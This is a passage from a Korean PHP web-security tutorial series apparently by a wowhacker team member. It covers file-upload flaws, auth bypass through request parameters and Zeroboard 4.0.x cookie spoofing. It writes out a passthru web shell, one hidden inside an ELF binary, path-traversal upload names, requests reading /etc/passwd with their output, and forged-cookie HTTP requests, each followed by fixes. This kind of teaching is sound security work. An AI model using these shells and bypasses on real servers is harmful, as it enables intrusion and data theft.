    원리를 살펴보자. 우리는 먼저 hack.txt 를 올렸다. hack.txt 에는 시스템에
    명령을 실행할 수 있는 passthru Function 이 담겼다. txt 확장자 파일로는 아무것도
    할 수 없지만, 이 파일을 이용하여 realhack.php 으로 카피한 것이다.

    실제로는 이렇게 카피가 될 것이다.

    if(!copy("data/hack.txt.txt", "data/realhack.php"))

    우리는 이로써 realhack.php 을 이용하여 System 의 Shell 을 따내게 되었다.

    [요청]
    http://server/data/realhack.php?beist=cat /etc/passwd

    [결과]
    root:*:0:0:root:/root:/usr/local/bin/bash
    daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
    operator:*:2:5:System &:/:/sbin/nologin
    bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
    tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
    kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
    ................................

    또 다른 방법은 hack.php 라는 File 을 in_file 과 in_file_name 의 query 조작
    말고도 in_file_type 을 임의로 변경하여 text file 이 아닌 것처럼 올린다면
    뒤에 뒤에 txt 확장자가 붙지 않으니 정상적으로 Server 에서 Shell 을 실행시킬
    수 있을 것이다. 이 방법은 위에서 많이 설명하였으니 실질적인 공격 방법은
    설명하지 않겠다.

    두번째 공격 방법에 대해서 알아보자.

    두번째 공격 방법에서는 in_file 같은 변수들을 조작하지 않고 Hacking 을 할
    것이다. 20~24 번째 줄에서는 text 파일일 경우에만 file name 뒤에 txt 를
    붙인다. 그렇다면 text type 이 아닌 binary file 을 올리면 어떻게 될까?

    확장자가 php 라도 binary file 이라면 20~24 줄 검사에서 text 가 아니니
    뒤에 txt 가 붙지도 않을 것이다.

    php binary file(?) 을 만들어 보자. (Zend 가 아닌)

    hack.c

    #include <stdio.h>
    main()
    {
    }

    $ gcc -o hack.php hack.c
    $ vi hack.php

    ^?ELF^A^A^A^@^@^@^@^@^@^@^@^@^B^@^C^@^A^@^@^@0~C^D^H4^@^@^@L(^@^@^@^@^@^@
    F^@(^@^^^@^[^@^F^@^@^@4^@^@^@4~@^D^H4~@^D^H?@^@^@?@^@^@^E^@^@^@^D^@^@^@
    @?@^@^@?@^D^H?@^D^H^S^@^@^@^S^@^@^@^D^@^@^@^A^@^@^@
    <? passthru($beist); ?>
    ^A^@^@^@^@^@^@^@^@~@^D^H^@~@^D^H?D^@^@?D^@^@^E^@^@^@^@^P^@^@^A^@^@^@?D
    ^D^H?T^D^H?@^@^@?@^@^@^F^@^@^@^@^P^@^@^B^@^@^@?D^@^@?T^D^H?T^D^H| ^
    <@^@^@^F^@^@^@^D^@^@^@^D^@^@^@^H^A^@^@^H~A^D^H^H~A^D^H ^@^@^@ ^@^@^@^D^@^
    ^@^@/lib/ld-linux.so.2^@^@^D^@^@^@^P^@^@^@^A^@^@^@GNU^@^@^@^@^@^B^@^@^@^@

    vi 저장후 빠져나옴.

    위에 대해서 설명을 하겠다. 먼저 아무런 기능도 하지 않는 hack.c 라는 file
    을 만든 후 hack.php 로 컴파일을 한다. 컴파일한 file 을 열어 (열었을때 이상
    한 문자가 나올 것이다.) 그 중간에 시스템에 명령을 실행할 수 있는 Code 를
    넣는다. (passthru Function)

    이제 이 File 은 중간에 Text Code 넣었음에도 binary File 이다. 비교를
    해보자.

    test.php

    <?
    passthru($beist);
    ?>

    $ file test.php
    test.php: ASCII text

    $ file hack.php
    hack.php: ELF 32-bit LSB executable, Intel 80386, version 1, statically
    linked (uses shared libs), stripped

    우리의 hack.php 는 ELF 포맷을 갖는 binary 가 되었다. 이 File 을 서버에
    올리면 File Type 에 걸리지 않고 무사히 올라가게 될 것이고 중간에 넣은
    Code 로 Cracker 는 Hacking 을 할 수 있다.

    [요청]
    http://server/data/hack.php?beist=cat /etc/passwd

    [결과]
    ELF^^A^A^A^A^A^A^A^A^A^A^A^A^A^A^A^C^F^^E@^F^
    root:*:0:0:root:/root:/usr/local/bin/bash
    daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
    operator:*:2:5:System &:/:/sbin/nologin
    bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
    tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
    kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
    ................................

    (위의 경우, C 로 짜여진 CGI 를 File Type Text 검사에 걸리지 않아서 넘어
    갈 수 있겠지만 퍼미션을 user, group, other 에 read 만 부여하였기 때문에
    Forbidden 이 나올 것이다.)

    이제 이 두 Hacking 방법에 대한 대처 방안을 알아보자.

    PHP 에서는 이 환경 변수에 의한 취약성을 인식하고 새로운 Function 을
    내놓게 되었다. 바로 is_uploaded_file 이다. 이 Function 을 써서 사용자가
    올린 파일이 정상인지 아닌지 체크가 가능하다.

    수정된 write2_ok.php 의 일부분을 살펴보겠다.

    write2_ok.php

    1 if($in_file != "none" && $in_file)
    2 {
    3 $not_file = is_uploaded_file($in_file);
    4
    5 if( !$not_file ) {
    6 echo "장난 하냐?"; exit; }
    7
    8 $filetype = split("/", $in_file_type);
    9 $filetype = $filetype[0];

    3 번째 줄에서 사용자가 Upload 한 파일이 정상적으로 올린 파일인지 아닌지
    검사를 하기 위해 is_uploaded_file 를 실행하여 만약 정상적이지 않다면
    스크립트를 중지시킨다.

    [요청]
    http://server/write_ok.php?in_file=data/hack.txt.txt&in_file_name=realhack.php&in_file_size=100

    [결과]
    장난 하냐?

    성공적으로 막았다. 하지만 이 방법으로는 안전하지 않다. 사용자가 in_file
    은 정상적인 File 을 Upload 하고 in_file_name 을 조작하여 보낼 수도 있기
    때문이다.

    예를 들어

    <form action=write_ok.php method=post enctype="multipart/form-data">
    Send this file: <input type=file name=in_file>
    <input type=hidden name=in_file_name value="test.php">
    <input type=submit value=Send>
    </form>

    이렇게 hidden type 으로 data 를 하나 올린다면 Server 에서 사용자가 올린
    hacking.txt 의 file 을 test.php 로 copy 할 것이다.

    hacking.txt

    <?
    passthru($beist);
    ?>

    [요청]
    http://server/data/test.php?beist=cat /etc/passwd

    [결과]
    root:*:0:0:root:/root:/usr/local/bin/bash
    daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
    operator:*:2:5:System &:/:/sbin/nologin
    bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
    tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
    kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
    ................................

    조금 더 안전하게 하기 위해 $in_file_name 의 이름 중에 php 관련 파일이
    있다면 취소를 하게끔 추가하도록 하자.

    if(eregi("php", $in_file_name))
    {
    echo "장난하니?.. file 이름에 php 가 들어있습니다.";
    exit;
    }

    그리고, 상위 디렉토리의 진입을 막기 위한 조취도 취해놓자.

    if(eregi("\.\.", $in_file))
    {
    echo "장난하니?.. file 이름에 .. 가 들어있으면 안됩니다.";
    exit;
    }

    두번째, binary File 을 올려서 File type 을 속이는 Hacking 에 대한 대처
    방법을 알아보자.

    어떤 상황이라도 사용자가 Server 에 php 관련 파일의 확장자를 올리는 것은
    위험하다. 실제로 그 File 이 실행이 되지 않더라도 말이다.

    그래서 애초에 File Name 에 php 관련 파일이 들어가선 안되도록 조취를
    취하는 것이 좋은 방법이다.

    if(eregi("php", $in_file_name))
    {
    echo "장난하니?.. file 이름에 php 가 들어있습니다.";
    exit;
    }

    아니면 File Name 을 확장자를 갖게 하지 말고 번호를 갖게 다음의 알고리즘을
    적절히 이용하는 방법도 괜찮다.

    $count=0;
    $fp=fopen("count.txt", "r");
    $count=fgets($fp, 10);

    copy($in_file, "data/$count");
    $count++;
    fclose($fp);

    $fp=fopen("count.txt", "w");
    fputs($fp, $count, 10);
    fclose($fp);



    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    7) file upload 알고리즘 시의 주의할점 -4-

    이번 주제는 Web CGI Board 에서 File Upload 시의 취약성에 대해서
    알아보겠다. 벌써 file upload 관련 글이 4 개나 나왔는데 이 것으로
    보아 Cracker 가 가장 좋아하는 것중 하나가 File Upload 라는 것은
    확실하다.

    그만큼 취약점이 나왔는데도 이번에는 어떠한 취약점이 나올까.
    이번 역시 File 을 Upload 할때의 이름과 관계가 있다. 어떻게 보면
    이번 버그는 개발자가 알고리즘을 짤때의 취약성은 아니고, php 에서
    처리하는 방식에 따라서 문제가 있다.

    우리가 파일을 올릴때는 보통 다음과 같은 형식으로 올리게 된다.
    다음과 같은 File Upload 폼이 있다고 하자.

    <form action=write_ok.php method=post enctype="multipart/form-data">
    Send this file: <input type=file name=in_file>
    <input type=submit value=Send>
    </form>

    그리고 file 이름에 다음과 같이 적어서 Send 버튼을 누르자.

    c:\upload\test.txt

    write_ok.php 의 소스는 다음과 같다.

    write_ok.php

    <?

    echo "in_file = $in_file<br>";
    echo "in_file_name = $in_file_name<br>";
    echo "in_file_size = $in_file_size<br>";
    echo "in_file_type = $in_file_type<br>";

    ?>

    소스만 보고도 위의 Script 가 무엇을 하는지 알 수 있을 것이다. Send
    버튼을 누르면 결과는 다음과 같이 나온다.

    in_file = /tmp/phpO3EWtg
    in_file_name = test.txt
    in_file_size = 20
    in_file_type = text/plain

    보다시피 $in_file_name 에는 c:\upload\ 가 짤린 상태이다. 그러면 php
    에서는 어떤 기준으로 in_file_name 을 구하는 것인가? 사용자가 입력한
    file name 에서 Escape 문자로 구별한다. Escape 가 맨 마지막으로 쓰인
    곳에서 뒤의 문자열들을 $in_file_name 으로 보는 것이다.

    여기에는 심각한 Security Hole 이 있다.

    가령 다음과 같은 File Name 을 주고 File 을 올렸다고 생각하여 보자.

    c:\upload\a\../test.txt

    위 File path 의 뜻을 굳이 해석하자면 다음과 같다. c:\upload\a 디렉토리
    에서 한번 상위디렉토리로 이동한 후 test.txt 파일을 말한다. 결과적으로
    이 것은 c:\upload\test.txt 이다.

    하지만 위에서 설명했듯이 php 에서는 Escape 가 맨 마지막으로 쓰인 곳에서
    뒤의 문자열들을 in_file_name 으로 생각한다. 그래서 서버에 저장되는
    $in_file_name 은 ../test.txt 가 되는 것이다. 물론, Client 에서의 이
    파일은 c:\upload\test.txt 이므로 아무런 이상 없이 Upload 가 된다.

    만약 다음과 같은 소스가 있다고 하자.

    1 <?
    2
    3 /* 생략 */
    4
    5 if($in_file_name)
    6 {
    7 if($in_file_size == 0)
    8 {
    9 echo "모양 파일 크기 0 이양";
    10 exit;
    11 }
    12}
    13
    14 if($in_file != "none" && $in_file)
    15 {
    16
    17 $exist = file_exists("data/$in_file_name");
    18
    19 if($exist)
    20 {
    21 echo "동일한 파일이름이 이미 존재합니다.";
    22 exit;
    23 }
    24
    25 if(!copy($in_file, "data/$in_file_name"))
    26 {
    27 echo "파일 저장 실패! 다시 올리라.";
    28 exit;
    29 }
    30
    31 chmod("data/$in_file_name", 0444);
    32
    33 unlink($in_file);
    34 }

    /* 생략 */

    ?>

    그리고 httpd.conf 에서 data 디렉토리 밑에 있는 File 들은 Web 을 통해서는
    읽지 못하도록 다음과 같이 설정을 하였다고 가정한다.

    <DirectoryMatch "^/.*/data">
    AddType application/x-httpd-php-source .phps .php .ph .php3 .cgi .sh .pl
    .html .htm .shtml .vbs .ins .inc .py

    Options FollowSymLinks
    AllowOverride None
    Order allow,deny
    Deny from all
    </DirectoryMatch>

    이렇게 되면 hacking.php 같은 악의적인 파일을 서버에 올린다고 하여도 Web 에서
    읽게 되면 Forbidden 이 나오므로 서버에 명령을 실행 할 수 없게 된다.

    hacking.php

    <?
    passthru($beist);
    ?>

    [요청]
    http://server/data/hacking.php?beist=cat /etc/passwd

    [결과]
    Forbidden

    You don't have permission to access /data/hacking.php on this server.

    그러면 Cracker 는 hacking.php 를 올리고, 이를 올바르게 실행시키기 위해서는
    data Directory 는 피해서 올려야 한다. 먼저 사전 조사를 통해서 Web Directory
    중 Web Server UID 에게 퍼미션이 열려있는 Directory 를 찾아서 그 Directory에
    올리기로 하고, 퍼미션이 열려있는 Directory 의 이름은 conf 라고 가정한다.
    (퍼미션이 열려있는 Directory 에 대해서 조사하는 방법은 생략하겠다. 이 것의
    방법은 정적이지 않은, 동적이고 즉 Cracker 의 노하우 같은 것이다.)

    물론,

    c:\upload\a\../hacking.php

    이런 이름으로 서버에 올리면 /home/httpd/html/data Directory 가 아닌
    /home/httpd/html Directory 에 올라가게 될 것이지만, /home/httpd/html/conf
    Directory 를 따로 지정하는 이유는 다음과 같다. 첫째, 보통 /home/httpd/html
    Directory 는 WebServer UID 가 write 할 퍼미션이 열려있지 않고 둘째, 상위
    Directory 만이 아닌 Cracker 가 원하는 Directory 로 File 을 올리는 방법을
    설명하기 위해서이다.

    먼저 실제로 Computer 에 다음과 같은 File 과 경로를 만든다.

    c:\upload\conf\hacking.php

    그리고 Upload 할때의 이름을 다음과 같이 고친다.

    c:\upload\conf\../conf/hacking.php

    위 File Path 를 풀이해보자. c:\upload\conf 디렉토리에서 한단계 위로 올라간후
    conf/hacking.php 를 뜻한다. 결국 위에서 말했듯이 php 에서는 $in_file_name 을
    맨 마지막으로 쓰인 Escape 문자 뒤의 문자열들로 보니까 서버에 저장되는
    $in_file_name 은 ../conf/hacking.php 가 될 것이다.

    그러면 write_ok.php 에서 실제로 행해지는 copy Function 은 다음과 같이 행해질
    것이다.

    copy($in_file, "data/../conf/hacking.php")

    [요청]
    http://server/conf/hacking.php?beist=cat /etc/passwd

    [결과]
    root:*:0:0:root:/root:/usr/local/bin/bash
    daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
    operator:*:2:5:System &:/:/sbin/nologin
    bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
    tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
    kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
    ................................

    해결책을 알아 보자

    이 문제점에 대한 근본적인 해결점은 아직까지 없는 것 같다. 약간은 이상한
    버그이기도 한데, 막을 방법은 있다. $in_file_name 변수의 값 중에 이상한
    문자가 있는지 확인하는 것이다.

    if(eregi("\.\.", $in_file_name))
    {
    echo "file name 에 .. 가 들어갈 수는 없습니다.";
    exit;
    }

    if(eregi("/", $in_file_name))
    {
    echo "file name 에 / 가 들어갈 수는 없습니다.";
    exit;
    }

    if(eregi("\\$", $in-file_name))
    {
    echo "file name 에 이상한 문자가 들어있군요.";
    exit;
    }

    더 완벽한 방법을 원한다면, Web Directory 의 열려있는 퍼미션을 체크하고,
    불필요하다면 없앤다. 필요한 디렉토리는 httpd.conf 에 Web 에서 File 을
    읽을 수 없게끔 설정을 한다. (Download 같은 것은 php File 에서 읽은 후
    사용자에게 뿌려주는 방법등 여러가지가 있다. 이 방법에 대한 것은 12 번
    장을 참조하라)



    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    8) 변수 인증시의 주의할점

    이번에 다룰 주제는 Web 프로그래밍에서 범하기 쉬운 실수 중의 한가지이다.
    Computer Language 에는 비교문이 있다. 비교문을 이용하여 개발자는 여러가지
    일을 할 수 있다. password 가 정확한지, 암호가 맞는지, 기타 등등 쓰이는
    곳이 많다.

    예를 들어서 특정 CGI script 에서 현재 Page 를 읽는 사용자가 Admin 인지
    아닌지 확인해야 할 경우가 있을 것이다. 다음과 같은 절차가 있다고 하자.

    1. Admin Page View (admin.html)
    2. ID 와 Password 를 Client -> Sever 전송
    3. Server 로 전달된 ID, Password 는 CGI 에서 체크함 (auth.php)
    4. 만약 ID, Password 가 정확하다면 menu.php 로 admin=1 을 붙여
    연결시켜 줌

    /* menu.php 는 admin 만 View 할 수 있음 */

    menu.php

    <?

    if(!$admin)
    {
    echo "당신은 Admin 이 아닙니다.";
    exit;
    }

    echo "이 메뉴는 admin 만 볼수 있습니다.<br>";
    echo "i love TTL<br>";

    ?>

    /* menu.php 에서는 $admin 이라는 변수가 없다면 admin 이 아닌 걸로 인식
    하여 스크립트 실행을 멈추고 만약 $admin 이라는 변수가 있다면 admin 으로
    인식하여 admin 메뉴를 뿌려줍니다. */

    admin.html

    <html>
    <head>
    <title>Admin Page</title>
    </head>
    <body>
    <center>
    <form action=http://server/auth.php method=post>
    Admin ID : <input type=text name=adminid><br>
    Password : <input type=password name=adminpw><br>
    </center>
    </form>
    </body>
    </head>
    </html>

    /* admin.html 은 action 값을 auth.php 로 전달하고 method 로 post 를 사용
    하였다. 사용자가 입력한 id 와 password 를 각각 adminid 와 adminpw 에
    담아서 보낸다. */

    auth.php

    <?

    if($adminid=="admin")
    {
    if($adminpw=="123456")
    {
    echo "<meta http-equiv=\"refresh\" content=\"1;url=menu.php?admin=1\" >";
    }
    else
    {
    echo "Wrong Password!";
    }
    }
    else
    {
    echo "Wrong ID!";
    }

    ?>

    /* auth.php 에서는 사용자가 입력한 id 가 admin 인지 확인한다. 만약 admin 을
    id 로 입력했다면 입력한 password 가 123456 이 맞는지 확인한다. 맞다면
    meta tag 를 이용하여 menu.php 로 연결해줄 것이며 menu.php 를 요청할때
    admin 이라는 인수를 주어 value 를 1 로 설정하였다. */

    이와 같은 방법에는 취약성이 존재한다. 만약에 cracker 가 auth.php 를 거치지 않고
    menu.php 를 바로 요청하여 admin 변수를 넣을수도 있으니까 말이다. 테스트를 하여
    보자.

    [요청]
    http://server/menu.php

    [결과]
    당신은 Admin 이 아닙니다.

    [요청]
    http://server/menu.php?admin=1

    [결과]
    이 메뉴는 admin 만 볼수 있습니다.
    i love TTL

    이런 식으로 cracker 는 auth.php 를 거치지 않고도 menu.php 에 바로 admin 값을
    인수로 보내어 인증을 회피 할 수 있다.

    위와 같은 Script 는 거의 쓰이지 않을테지만 여기에서는 이해를 쉽게 하기 위해
    간단한 프로그래밍을 한 것이다. 실제로 수천줄의 CGI 에서도 이와 유사한 버그로
    위험을 보이는 것들도 많이 있다.

    위와 같은 Script 일때 이를 해결하는 방법은

    menu.php

    <?

    if($adminpw!="pwttl")
    {
    echo "당신은 Admin 이 아니군요.<br>";
    echo "암호가 틀렸습니다.";
    exit;
    }

    echo "이 메뉴는 admin 만 볼수 있습니다.<br>";
    echo "i love TTL<br>";

    ?>

    /* $adminpw 변수가 pwttl 이 아니라면 admin 이 아닌 것으로 간주하여 Script
    실행을 중지시킨다. 만약 pwttl 이라면 Admin 메뉴를 보여준다. */

    auth.php

    <?

    if($adminid=="admin")
    {
    if($adminpw=="123456")
    {
    echo "<meta http-equiv=\"refresh\" content=\"1;url=menu.php?admin=pwttl\" >";
    }
    else
    {
    echo "Wrong Password!";
    }
    }
    else
    {
    echo "Wrong ID!";
    }

    ?>

    /* 종전의 admin=1 대신 admin=pwttl 로 value 를 바꾸어 menu.php 로 link 시켰다 */

    이런 식으로 인증하는 것이 좋을 것이다. 하지만 이런 방법보다는 Cookie 나
    Session 등을 이용하여 인증하는 것을 권한다.

    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    9) cookie 사용시 주의할점

    이번 장에서 다룰 주제는 Web 에서 많이 쓰이는 Cookie 에 관한 내용이다.
    Cookie 란 무엇인가? Web Language 에서 Cookie 는 여러가지에 유용하게 쓰인다.
    Cookie 는 Client Computer 에 저장되는 것인데, CGI Program 에서는 이 Cookie 를
    이용하여 좀 더 편리하고 간편한 CGI 를 짤 수도 있다. 예를 들어 Web Board 에서
    각 Page 마다 인증이 필요한 경우도 있다. 뭐 admin 만 Access 할 수 있다던지
    하는 Page 일 경우에 말이다. 이럴 경우 매 Page 의 Head 부분에 Client Computer
    에서 Cookie 를 받아와 Access 하려는 사용자가 권한이 되는지 안되는지 알 수
    있게끔 Cookie 가 사용될 수도 있다.

    여기에서는 한때 Issue 가 됐던 Cookie Sniffing 과 더불어 Cookie Spoofing,
    Cookie 사용시 잘못된 알고리즘 등을 알아볼 것이다. 실제로 존재하는 CGI Program
    인 Zeroboard 4.0.x 버전을 이용하겠다. 이 버그는 필자가 발견한 버그로, 요즘의
    버전에는 Patch 가 되었다.

    zeroboard 는 PHP 로 만들어져 있으며 DATABASE 는 MySQL 을 사용하고 있다.

    문제가 되는 부분은 zeroboard 에서 cookie 인증을 할때 잘못된 알고리즘을 사용
    하기 때문이다.

    문제가 되는 주요 소스는 zeroboard 에서 lib.php 이다.

    1 function member_info()
    2 {
    3 global $HTTP_COOKIE_VARS, $member_table, $now_table;
    4 $cookie_userid=$HTTP_COOKIE_VARS[zetyxboard_userid];
    5 $cookie_password=$HTTP_COOKIE_VARS[zetyxboard_password];
    6
    7 // 우선 쿠키가 존재할때;;
    8 if($cookie_userid&&$cookie_password)
    9 {
    10 // 접속 테이블에도 있는지를 검사;;
    11 $check=mysql_fetch_array(mysql_query("select count(*) from $now_table where
    12 user_id='$cookie_userid'"));
    13 // 접속테이블에도있으면 값을 갖고 옴;;
    14 if($check[0])
    15 {
    16 //다시 쿠키를 구움;;
    17 setcookie("zetyxboard_userid",$cookie_userid,0,"/");
    18 setcookie("zetyxboard_password",$cookie_password,0,"/");
    19 mysql_query("update $now_table set logtime='".time()."' where
    20 user_id='$cookie_userid'");
    21 $member=mysql_fetch_array(mysql_query("select * from $member_table where
    22 user_id='$cookie_userid' and password='$cookie_password'"));
    23 }
    24 else
    25 {
    26 setcookie("zetyxboard_userid","",0,"/");
    27 setcookie("zetyxboard_password","",0,"/");
    28 $member[level]=10;
    29 }
    30 }
    31 else $member[level]=10;
    32 return $member;
    33 }

    이 함수는 zeroboard lib.php 의 원본 소스중 이다. zeroboard 는 게시판에
    가입한 멤버를 LEVEL 별로 설정할수 있는 등 커뮤니티 기능도 있다. 회원이
    게시판을 이용할때 멤버에 대한 데이터를 가져오는 함수가 바로 이 member_info
    함수이다.

    첫번째 라인은 member_info 의 함수 정의이다. 3 번째 라인은 HTTP_COOKIE_VARS,
    member_table, now_table 을 전역 변수로 설정해놓았고 4 번째 라인에서 cookie_userid
    를 HTTP_COOKIE_VARS 의 zetyxboard_userid 로 설정하였다. 마찬가지로 5 번째
    라인에서는 cookie_password 를 HTTP_COOKIE_VARS 의 zetyxboard_password 로
    설정하였다.

    HTTP_COOKIE_VARS 는 client (즉 사용자) 에서 전달해주는 cookie 값을 담아놓는
    변수이다.

    zetyxboard_userid 나 zetyxboard_password 같은 cookie 설정은 사용자가 login
    페이지를 통해서 login 을 할때 설정이 된다.

    cookie 설정 역시 lib.php 파일에서 check_login 함수에서 이루어진다.

    1 /////////////////////////////////////////////////////////////////////////
    2 // 로그인 시키는 부분
    3 /////////////////////////////////////////////////////////////////////////
    4 function check_login($user_id,$password)
    5 {
    6 global $connect, $member_table, $now_table, $id;
    7 $check=mysql_fetch_array(mysql_query("select * from $member_table where
    8 user_id='$user_id' and password=password('$password')"));
    9 if($check[no])
    10 {
    11 $password=mysql_fetch_array(mysql_query("select password('$password')"));
    12 setcookie("zetyxboard_userid",$user_id,0,"/");
    13 setcookie("zetyxboard_password",$password[0],0,"/");
    14
    15 $temp=mysql_fetch_array(mysql_query("select count(*) from $now_table
    16 where user_id='$user_id'"));
    17 if($temp[0]) mysql_query("update $now_table set logtime='".time()."'
    18 where user_id='$user_id'");
    19 else mysql_query("insert into $now_table (user_id,group_no,logtime)
    20 values ('$user_id','$check[group_no]','".time()."')");
    21
    22 return 1;
    23 }
    24 else Error("로그인을 실패하였습니다.");
    25 }

    7 번째 라인은 사용자가 전달한 id 와, password 값으로 member_table 에 실제로
    존재하는 사용자인지 확인한다. 만약 올바른 사용자라면 check_login 함수는
    client 에게 (보통 웹브라우저를 말합니다.) setcookie 함수를 이용하여 cookie를
    설정하여 준다. zetyxboard_userid 와 zetyxboard_password 가 cookie 이다.

    그리고 15 번째 줄부터 게시판에 현재 접속된 사용자의 ID 를 담아놓는 now_table
    에 ID 를 update 를 하거나 추가를 한다. (만약 사용자가 정해진 시간동안 아무
    런 페이지도 읽지 않거나, logout 을 하면 now_table 에서 사용자의 ID 가 삭제
    됩니다. 그렇게 되면 login 이 안된 상태가 된다.)

    다시 취약점의 근원이 되는 member_info 함수로 돌아가보자. member_info 함수는
    이 사용자가 정당한 사용자인지 검사를 하는 기능도 있다. 첫번째로 사용자가
    zetyxboard_userid 와 zetyxboard_password 쿠키가 있는지 확인한다. 이 확인은
    8 번째 줄에서 한다. 그리고 또 한번의 확인으로 zeroboard 에서 사용하는 now_
    table 에도 zetyxboard_userid 값이 담겨있는지 확인한다. 만약에 접속테이블에
    도 사용자의 ID 가 있다면 이 사용자는 올바른 사용자이다.

    하지만 여기에서 문제가 발생한다. 첫번째 확인에서 zetyxboard_userid 와 zetyx
    board_password 쿠키는 사용자가 임의로 만들어서 보낼 수 있고, 두번째는 접속 테
    이블에도 있는지 검사를 할때 zetyxboard_userid 만 갖고 체크를 하기 때문에
    zetyxboard_password 가 정확하지 않더라도 상관이 없다. 그래서 해커가
    zetyxboard_userid 와 zetyxboard_password 쿠키를 임의로 만들고, 현재 접속이 되어
    있는 사용자의 ID 로 zetyxboard_userid 를 설정한다면 member_info 함수에서 해커는
    올바른 사용자가 될 수 있다.

    여기까지의 방법으로 우리는 접근할 수 없는 게시판과, 게시물을 읽을수가 있다.
    (접근할 수 없는 경우는 사용자의 레벨과 접근하려는 게시판의 허용 레벨이
    안 맞기 때문이다.) 왜냐하면 member_info 함수에서 21~22 번 줄을 보자.
    member_table 에서 zetyxboard_userid 와 zetyxboard_password 가 담긴 데이터를
    찾고 그 결과를 member 변수에 담는다. 만약 올바른 사용자라면 member 변수에는
    사용자의 LEVEL 이나 이름, ID, PASSWORD 가 담길것이다. 하지만 해커에게는
    LEVEL, ID, 이름, PASSWORD 같은 것이 아닌 빈 값이 담기게 된다. 이유는 member
    _table 에는 zetyxboard_userid 와 같은 데이터는 있어도 zetyxboard_password 도
    같은 데이터는 없기 때문이다.

    member 에 빈값이 담기기 때문에 해커는 PHP 에서 해당 LEVEL 이 되는지 안되는지
    검사를 하는 부분을 통과할 수 있다. 그 부분을 살펴보도록 하자.

    먼저 zboard.php 에서 특정 id 의 게시판에 접근할때 사용권한을 어떻게 체크
    하는지 보면

    zboard.php

    1 if($setup[grant_list]<$member[level]&&!$is_admin)
    2 Error("사용권한이 없습니다","login.php?id=$id&page=$page&
    3 page_num=$page_num&category=$category&sn=$sn&ss=$ss&sc=$sc&
    4 keyword=$keyword&no=$no&file=zboard.php");

    이렇다. 조건식을 살펴보자. $setup[grant_list] 는 각 게시판에 설정
    된 접근 허용 LEVEL 과 비슷한 것이다. 만약 $member[level] 이 $setup[grant_
    list] 값보다 크다면 접근이 허용되지 않으므로 2~4 번째의 ERROR 메세지가 뜨게
    된다.
    (zeroboard 에서는 LEVEL 이 낮을수록 실제로는 높은 걸로 인식한다. 두번째
    조건식인 !$is_admin 는 만약 로그인한 사용자가 admin 이면 통과한다는 것을
    의미한다.)

    앞에서 말했듯이 해커는 member 에 빈값이 담기게 된다. 빈값은 0 과 같다.
    그러면 조건식은 이렇게 될 것이다.

    if($setup[grant_list]<0&&!$is_admin)

    어떤 레벨이라도 0 보다 낮을수는 없을 것이다. 이와 같은 방법으로 해커는 사용권한을
    체크하는 PHP 알고리즘을 통과하고 허용하지 않는 게시물이나 게시판에 접근을
    할 수 있게 된다.

    만약에 secret 라는 id 의 게시판이 있다고 하고, 실제로 어떻게 사용권한 체크를
    통과하고 게시판을 읽을 수 있는지 알아보자.

    1 telnet targetip 80
    2 get http://targetip/zboard/zboard.php?id=secret HTTP/1.0
    3 Cookie: zetyxboard_userid=test; zetyxboard_password=임의의암호

    결과 :

    secret 게시판

    15 번 승진님 안녕하세요................ 방문객 2005/06/26
    14 번 여기 좋군요.... 나그네 2004/06/26
    13 번 여기 뭐 이래요?? 지나가는이 2003/06/26
    12 번 저는 말이에요.. 해커지망생 2002/06/26
    ..........
    ..........

    1 번 라인은 targetip 의 웹서버인 80 번 포트로 접속을 하는 것이다. 2 번 라인
    은 zboard.php 의 인수로 id=secret 를 주어서 secret 라는 게시판을 읽어들이겠다
    고 알린것이고 3 번 라인은 Cookie 값을 첨부한 것이다. 여기서 zetyxboard_
    password 는 아무 값이나 넣어줘도 된다.

    이와 비슷한 방법으로 한 가지 더 경우를 보자. 게시물의 목록이 아닌 직접
    게시물을 읽는 방법이다. view.php 에서의 사용 권한 체크 루틴을 보자.

    view.php

    1 if($setup[grant_view]<$member[level]&&!$is_admin)
    2 Error("사용권한이 없습니다","login.php?id=$id&page=$page&
    3 page_num=$page_num&category=$category&sn=$sn&ss=$ss&sc=$sc&
    4 keyword=$keyword&no=$no&file=zboard.php");

    view.php 의 인자로 id 와 no 가 들어가는데 id 는 해당 게시판의 id 를 뜻하고
    no 는 해당 게시판의 글 번호를 뜻한다.

    위에서도 역시 마찬가지로 member 는 빈값, 즉 0 이니 조건식을 이상 없이
    통과할 수 있을 것다.

    그럼 실제로 어떻게 사용권한 체크를 통과하고 게시물을 읽을 수 있는지 알아
    보자. 여기서 id 는 secret 이고 글번호는 444 라고 하자.

    1 telnet targetip 80
    2 get http://targetip/zboard/view.php?id=secret&no=444 HTTP/1.0
    3 Cookie: zetyxboard_userid=test; zetyxboard_password=임의의암호

    결과 :

    444 번 글

    이름 : 이승진

    제목 : 전 이승진이랑께롱~
    본문 : 케케케~.. 음.. 할말이 없군..

    2 번 라인은 view.php 스크립트에 secret 를 id 로 줬고 글 번호 444 를 요청하였
    다. 그리고 3 번 라인에서 Cookie 값을 첨부하였다.

    주의할 점은 zetyxboard_password 의 값은 임의로 넣어줘도 되지만 비어있어서는
    안된다.

    게시판을 읽거나 게시물을 읽는 방법 말고도 다른 여러 가지 방법이 있는데 여기서
    한 가지 방법을 더 알아보겠다. trace.php 라는 스크립트는 파일명 그대로
    서버에 설치된 zeroboard 와 관련된 것들을 추적해 주는 스크립트이다. 이 스크
    립트 역시 사용 권한을 체크하여 admin 만이 사용할 수 있게 해놓았지만 member에
    빈 값이 들어가는 것을 이용하여 통과할 수 있다.

